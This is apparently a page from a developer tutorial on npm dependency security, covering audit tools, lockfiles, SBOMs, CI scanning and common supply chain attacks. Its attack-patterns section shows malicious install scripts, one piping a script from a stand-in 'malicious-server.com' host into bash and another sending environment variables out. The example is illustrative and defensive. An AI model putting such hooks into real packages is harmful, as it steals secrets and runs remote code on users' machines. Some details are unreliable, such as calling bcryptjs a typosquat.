Dependency Security¶
Your app is only as secure as the most vulnerable transitive dependency You wrote perfect code but the left-pad of some package 7 layers deep in your node_modules has a prototype pollution vulnerability Welcome to modern JavaScript where 90% of your code is someone else's code
npm audit: The Basics¶
# Scan your project for known vulnerabilities
npm audit
# JSON output for CI parsing
npm audit --json
# Only report high and critical
npm audit --audit-level=high
# Fix automatically (may break things)
npm audit fix
# Dry run - see what would happen
npm audit fix --dry-run --json
# Example output interpretation
# === npm audit security report ===
#
# | Field | Value |
# |----------------|---------------------------------------|
# | Package | super-eval-lib |
# | Severity | Critical |
# | CVE | CVE-2025-12345 |
# | Vulnerability | Remote Code Execution |
# | Versions | < 2.0.0 |
# | Patched in | 2.0.0 |
# | Path | app > cool-lib > eval-dep |
# | More info | https://github.com/advisories... |
#
# Run `npm update cool-lib --depth 3` to fix
# Check specific package
npm audit --json | jq '.vulnerabilities["super-eval-lib"]'
Run npm audit in CI with --audit-level=high : fail the build if any high or critical vulnerabilities exist Don't let developers merge packages with RCE vulnerabilities
Deeper Scanning with Snyk¶
# Install Snyk CLI
npm install -g snyk
# Authenticate
snyk auth
# Test your project
snyk test
# Test with JSON output
snyk test --json
# Monitor for continuous scanning
snyk monitor
# Test specific package
snyk test express
Snyk catches more than npm audit : it detects open-source license issues , container vulnerabilities , and IaC misconfigurations
Socket.dev for Package Behavior Analysis¶
Socket analyzes package behavior , not just reported CVEs - it catches supply chain attacks before they get CVEs
# Install Socket CLI
npm install -g @socketdev/cli
# Scan project
socket scan
# Check individual package
socket scan express
# Output format
socket scan --json > socket-report.json
# Detects: typosquatting , hidden network calls , install scripts
# , dynamic requires , eval usage , protestware
Socket detects protestware and typo-squatting : packages that change behavior after install or closely mimic popular package names
Lockfile Integrity¶
# package-lock.json - never manually edit
# Includes integrity hashes (sha512) for every dependency
# Verify lockfile integrity
npm ci # clean install - uses lockfile , fails if mismatch
# vs npm install - may update lockfile
# Validate lockfile content
npx lockfile-lint --path package-lock.json \
--allowed-hosts npm \
--allowed-schemes https: \
--validate-integrity
# For yarn.lock
npx lockfile-lint --path yarn.lock \
--type yarn \
--allowed-hosts yarn
Commit package-lock.json always : it pins every transitive dependency and includes integrity verification hashes Without it , you're installing whatever version npm decides to resolve that day
Supply Chain Attack Patterns¶
// Typosquatting - common tactic
// npm install bcryptjs (typo: should be bcrypt)
// npm install loadash (typo: should be lodash)
// Dependency confusion - attacker uploads package with same name as internal
// npm install @mycompany/internal-auth // no scope? npm public takes priority
// Protestware - package changes behavior based on political events
// Example: colors.js (FOSS protest , broke thousands of apps)
// Malicious install scripts
{
"scripts": {
"preinstall": "curl http://malicious-server.com/steal | bash",
"postinstall": "node -e 'require(\"child_process\").execSync(\"exfil Env vars\")'"
}
}
Audit dependencies manually : ls node_modules/.package-lock.json isn't enough Read install scripts in package.json before running npm install on untrusted packages
Best Practices¶
// Pin exact versions - not ranges
{
"dependencies": {
"express": "4.18.2", // exact
"lodash": "4.17.21", // exact
"react": "^18.2.0" // bad - may auto-upgrade to breaking
}
}
// Use .nsprc to suppress false positives
{
"CVE-2025-00001": {
"active": false,
"notes": "Not exploitable in our config",
"expiry": "2025-06-01"
}
}
// npm config for security
npm config set audit true
npm config set audit-level high
npm config set fund false // stop showing funding messages
// .npmrc
audit=true
audit-level=high
package-lock=true
npm ci in CI , npm install in development : npm ci fails if lockfile doesn't match package.json , catching tampered or incorrectly updated dependencies
SBOM Generation¶
Software Bill of Materials - know exactly what's in your supply chain
# CycloneDX format (OWASP standard)
npx cyclonedx-npm --output-file sbom.xml
# SPDX format
npx @cyclonedx/bom --output sbom.spdx.json
# Read SBOM
npx @cyclonedx/bom -i sbom.xml -o pretty.json
# Check against policies
npx @cyclonedx/bom validate --input-file sbom.xml
SBOMs are becoming regulatory requirements : executive order 14028 mandates SBOMs for software sold to the US government Generate one for every release
CI/CD Integration¶
# .github/workflows/security.yml
name: Dependency Security
on: [push, pull_request]
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: '20'
- run: npm ci
- run: npm audit --audit-level=high
continue-on-error: true # don't block dev but alert
- run: npx snyk test --severity-threshold=high
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
continue-on-error: true
- run: npx socket scan
Continuous dependency scanning catches vulnerabilities the day they're disclosed : don't rely on monthly manual audits Automation catches RCE in your dependencies before an attacker does
Prerequisites¶
- sec_06_rate_limiting.md - DoS protection basics
next -> sec_08_env_config.md